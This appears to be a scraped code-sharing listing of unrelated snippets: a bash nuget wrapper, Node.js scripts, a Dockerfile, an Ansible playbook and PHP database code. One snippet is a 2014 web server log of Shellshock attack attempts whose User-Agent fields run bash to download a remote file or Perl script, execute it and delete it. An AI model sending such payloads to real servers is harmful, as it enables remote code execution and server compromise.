This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash -e | |
| # Path normalisation: http://www.cyberciti.biz/faq/unix-linux-appleosx-bsd-bash-script-find-what-directory-itsstoredin/ | |
| _script="$(readlink ${BASH_SOURCE[0]})" | |
| _base="$(dirname $_script)" | |
| mono "$_base/"nuget.exe $@ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 'use strict' | |
| const fs = require('fs'); | |
| const uuid = require('uuid'); | |
| const request = require('request-promise'); | |
| const _ = require('lodash'); | |
| const baseUrl = 'http://localhost:3000'; | |
| const co = require('co'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var cluster = require('cluster'); | |
| var workers = process.env.WORKERS || require('os').cpus().length; | |
| if (cluster.isMaster) { | |
| console.log('start cluster with %s workers', workers); | |
| for (var i = 0; i < workers; ++i) { | |
| var worker = cluster.fork().process; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| TEST! |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 217.72.242.16 - - [28/Sep/2014:14:46:41 +0000] "GET / HTTP/1.0" 301 564 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\"" | |
| 217.72.242.16 - - [28/Sep/2014:14:46:41 +0000] "GET /cgi-bin/test.sh HTTP/1.0" 301 594 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\"" | |
| 217.72.242.16 - - [28/Sep/2014:14:46:41 +0000] "GET /test HTTP/1.0" 301 572 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\"" | |
| 174.143.168.121 - - [29/Sep/2014:21:55:35 +0000] "GET //cgi-bin/bash HTTP/1.0" 301 588 "-" "() { :;}; /bin/bash -c \"wget ellrich.com/legend.txt -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache\"" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 'use strict'; | |
| var config = require('../support/config'), | |
| request = require('request'), | |
| co = require('co'), | |
| thunkify = require('thunkify'), | |
| get = thunkify(request.get); | |
| var host = config.url.replace(/http:\/\/m/, ''); | |
| module.exports = function(){ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # To make this work, put in a file called 'Dockerfile' in a directory and then | |
| # call `docker build . ` | |
| FROM ubuntu:14.04 | |
| MAINTAINER David Porter | |
| RUN apt-get update && apt-get install -y nodeJS python-pip git #wont actually work because apt's version of node is retard | |
| RUN npm install bower | |
| #See image afterward with `docker images` |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # playbook.yml | |
| --- | |
| - hosts: aws | |
| user: ubuntu | |
| sudo: True | |
| tasks: | |
| - name: 1 Install ALL THE THINGS!! | |
| action: "apt pkg={{ item }} state=installed" | |
| with_items: | |
| - apache2 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /** | |
| * export CSV | |
| */ | |
| function exportCSV() { | |
| header("Content-Type:text/plain"); | |
| $users = $this->db->get('users')->result_array(); | |
| foreach($users as $u) { | |
| echo implode(',', $u) . "\r\n"; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| //HLL left outer join | |
| //Do whatever join conditions you need here | |
| $users = $this->db->get('users')->result_array(); | |
| foreach($i = 0; $i < count($users); $i++) { | |
| $this->db2->where('userid', $users[$i]['userid']); | |
| if($staff = $this->db2->get('staff')->row_array()){ | |
| $users[$i]['staffDetails'] = $staff; | |
| } |